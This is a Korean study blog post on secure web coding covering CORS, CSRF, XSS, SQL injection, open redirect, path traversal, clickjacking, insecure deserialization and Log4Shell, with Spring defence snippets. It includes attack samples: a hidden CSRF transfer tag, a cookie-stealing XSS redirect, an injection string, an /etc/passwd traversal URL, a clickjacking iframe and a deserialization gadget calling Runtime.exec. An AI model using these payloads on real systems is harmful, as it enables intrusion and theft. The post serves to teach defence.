
이미지 출처 : https://www.invicti.com/blog/web-security/secure-coding-practices-web-applications/
이번엔 여러 보안 관련 시큐어 코딩 정리를 하려고 한다.
이번에 정처기를 준비하면서 대부분 봤던 개념들인데, 정확히 어떤건지 어떻게 예방하는지를 정리하고자 한다.
가장 많이 접하는 문제가 아닐까 싶다.
Preflight 란?
- CROS 요청의 일종으로, 브라우저가 실제 요청을 보내기 전에 서버에 요청할 권한이 있는지 확인하는 과정이다.
- 보안상의 이유로, 특정 조건을 만족하는 HTTP 요청이 서버에 전송되기 전에 실행된다.
- HHTP 메서드가 단순 요청이 아닌 경우 (PUT, DELETE)
- 특정 헤더를 사용할 때 : 커스텀 헤더 또는 특정 표준 헤더
- 특정 Content-Type을 사용할 때 : application/x-www-from-urlencoded, multipart/form-data, text/plain이 아닌 Content-Type을 사용할 때
@Configuration
public class WebConfig {
@Bean
public WebMvcConfigurer corsConfigurer() {
return new WebMvcConfigurer() {
@Override
public void addCorsMappings(CorsRegistry registry) {
registry.addMapping("/**")
.allowedOrigins("http://localhost:3000") // 허용할 출처
.allowedMethods("GET", "POST", "PUT", "DELETE", "OPTIONS")
.allowedHeaders("*")
.allowCredentials(true)
.maxAge(3600); // Preflight 요청 캐시 시간
}
};
}
}
allowCredentials(true) 로 설정한다면 allowedOrigins 에 와일드카드 사용은 불가능하기에 frontend와 잘 협의해서 설정해주면 크게 문제는 안될 것 같다.
allowedMethods 에 OPTIONS 메서드도 허용해주는 것을 잊지말자.
<!DOCTYPE html>
<html>
<body>
<h1>Free Gift</h1>
<img src="http://bank.com/transfer?amount=1000&to=attacker" style="display:none;" />
</body>
</html>
http://example.com/search?q=<script>alert(document.cookie)</script> 같은 URL을 입력해 검색어를 그대로 페이지에 출력하면, 스크립트가 실행되어 경고 창에 쿠키가 노출 될 수 있다.<script>document.location='http://127.0.0.1/cookie?'+document.cookie</script>이처럼 해당 쿠키를 리다이렉트를 통해 공격자의 사이트로 전달해서 탈취가 가능하다.<!DOCTYPE html>
<html>
<head>
<title>DOM-based XSS Example</title>
</head>
<body>
<h1>Welcome to My Page</h1>
<div id="output"></div>
<script>
// URL의 해시 부분을 읽어와서 출력
var hash = window.location.hash.substring(1);
document.getElementById('output').innerHTML = hash;
</script>
</body>
</html>이 부분은 프론트 측면이라 정확히 이해하진 못했다.서버단에서도 스크립트 관련된 코드가 들어온다면 처리해주는 기능이 필요할지도..
public class SqlInjectionExample {
public static void main(String[] args) {
String username = "admin'; --";
String password = "password";
String query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";
try (Connection conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/testdb", "root", "password");
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(query)) {
if (rs.next()) {
System.out.println("User authenticated");
} else {
System.out.println("Authentication failed");
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
admin'; -- 이라는게 쿼리 안으로 들어가게 되면, SELECT * FROM users WHERE username = 'admin'; --' AND password = 'password' 로 변경되는데, 이때 -- 뒤에 나오는 쿼리문은 주석처리되어 버리기 때문에 무시된다. 결과적으로 비밀번호를 입력하지 않아도 인증이 되는 꼴이다.
말 그대로 redirect-url을 조작해서 유사하게 생긴 페이지로 이동시켜 정보를 유출하도록 유도하는 것이다.
허용된 URL 목록 사용
public class RedirectHandler {
private static final List<String> ALLOWED_URLS = Arrays.asList(
"http://bank.example.com/dashboard",
"http://bank.example.com/account",
"http://bank.example.com/support"
);
public void handleRedirect(HttpServletRequest request, HttpServletResponse response) throws IOException {
String redirectUrl = request.getParameter("redirectUrl");
if (ALLOWED_URLS.contains(redirectUrl)) {
response.sendRedirect(redirectUrl);
} else {
response.sendError(HttpServletResponse.SC_BAD_REQUEST, "Invalid URL");
}
}
}
입력 검증
public void handleRedirect(HttpServletRequest request, HttpServletResponse response) throws IOException {
String redirectUrl = request.getParameter("redirectUrl");
try {
URL url = new URL(redirectUrl);
if ("bank.example.com".equals(url.getHost())) {
response.sendRedirect(redirectUrl);
} else {
response.sendError(HttpServletResponse.SC_BAD_REQUEST, "Invalid URL");
}
} catch (MalformedURLException e) {
response.sendError(HttpServletResponse.SC_BAD_REQUEST, "Malformed URL");
}
}
상대 경로 사용
public void handleRedirect(HttpServletRequest request, HttpServletResponse response) throws IOException {
String redirectPath = request.getParameter("redirectPath");
if (redirectPath != null && redirectPath.startsWith("/")) {
response.sendRedirect(request.getContextPath() + redirectPath);
} else {
response.sendError(HttpServletResponse.SC_BAD_REQUEST, "Invalid path");
}
}
http://example.com/download?file=report.pdf 처럼 url을 통해 파일을 다운받으려 할 때 http://example.com/download?file=../../etc/passwd 상대 경로를 이용해서 파일 시스템에 접근하려는 공격 방법 이다.
<!DOCTYPE html>
<html>
<head>
<title>Free Gift!</title>
<style>
iframe {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
opacity: 0;
}
</style>
</head>
<body>
<h1>Click here to get a free gift!</h1>
<iframe src="http://social.example.com/like-button"></iframe>
</body>
</html>
공격자가 다음과 같은 투명한 iframe을 사용자가 신뢰하는 사이트에 삽입한다.
X-Frame-Options 헤더 사용 : DENY 또는 SAMEORIGIN 값을 사용해 웹 페이지가 iframe으로 포함되지 않도록 설정한다
@Configuration
public class FilterConfig {
@Bean
public FilterRegistrationBean<ClickjackingProtectionFilter> clickjackingFilter() {
FilterRegistrationBean<ClickjackingProtectionFilter> registrationBean = new FilterRegistrationBean<>();
registrationBean.setFilter(new ClickjackingProtectionFilter());
registrationBean.addUrlPatterns("/*");
return registrationBean;
}
}
Content Security Policy (CSP) : CSP 헤더를 사용해 iframe의 포함을 제한한다.
@Configuration
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.headers()
.contentSecurityPolicy("frame-ancestors 'self'")
.and()
.frameOptions().deny(); // 또는 .sameOrigin();
}
}
이 경우는 데이터베이스가 털린다면 민감한 정보가 모두 평문으로 이루어져 있기 때문에 탈취당했을 때 피해가 막심해진다.
public class MaliciousObject implements Serializable {
private static final long serialVersionUID = 1L;
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject();
// 악의적인 코드 실행
Runtime.getRuntime().exec("calc.exe");
}
}
// 직렬화
public class SerializeMaliciousObject {
public static void main(String[] args) {
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("malicious.obj"))) {
oos.writeObject(new MaliciousObject());
} catch (IOException e) {
e.printStackTrace();
}
}
}
다음처럼 악의적인 코드가 담긴 데이터를 직렬화하여 업로드하면 사이트는 파일을 역직렬화 할때 악성 코드가 실행되어 시스템이 위험해질 수 있다.
Log4j 2 라이브러리에서 발견된 심각한 보안 취약점 사태이다.
해커가 로그가 기로되는 곳을 찾아 취약점을 이용하는 문제였다.
CVSS 10점으로 가장 높은 점수를 받을 만큼 Java 기반의 웹 어플리케이션을 사용하는 Log 라이브러리 중 가장 많이 쓰이는 라이브러리였기에 취약점이 공개된 후, 많은 공격자들이 악용해 많은 공격을 시도했다.
Apache Software Foundation은 취약점을 해결하기 위해 Log4j 패치와 보안 업데이트를 즉시 저용해 배포했다.
보안에 대해 생각해줘야 할 내용들은 위 내용말고도 엄청나게 많이 존재한다.
그래도 조금이라도 더 알고 있음으로써 Secure 한 사고방식으로 코딩할 수 있을 것 같다.
당장 Oauth2 기능을 구현함에 있어서도 redirect-url에 대한 처리를 해줘야 할 것 같고, XSS, 특수문자 같은 우회 패턴을 발생 시킬 수 있는 문자를 필터링처리 해야 할 것 같다.
또한 JWT 토큰 탈취에 있어서도 생각해줄 부분이 많은 것 같다.
실제 배포후 운영할 프로젝트를 개발하고 있기에 이번 Secure Coding에 대해 알게되어서 좀 더 고려해주면서 로직을 처리할 수 있을 것 같다.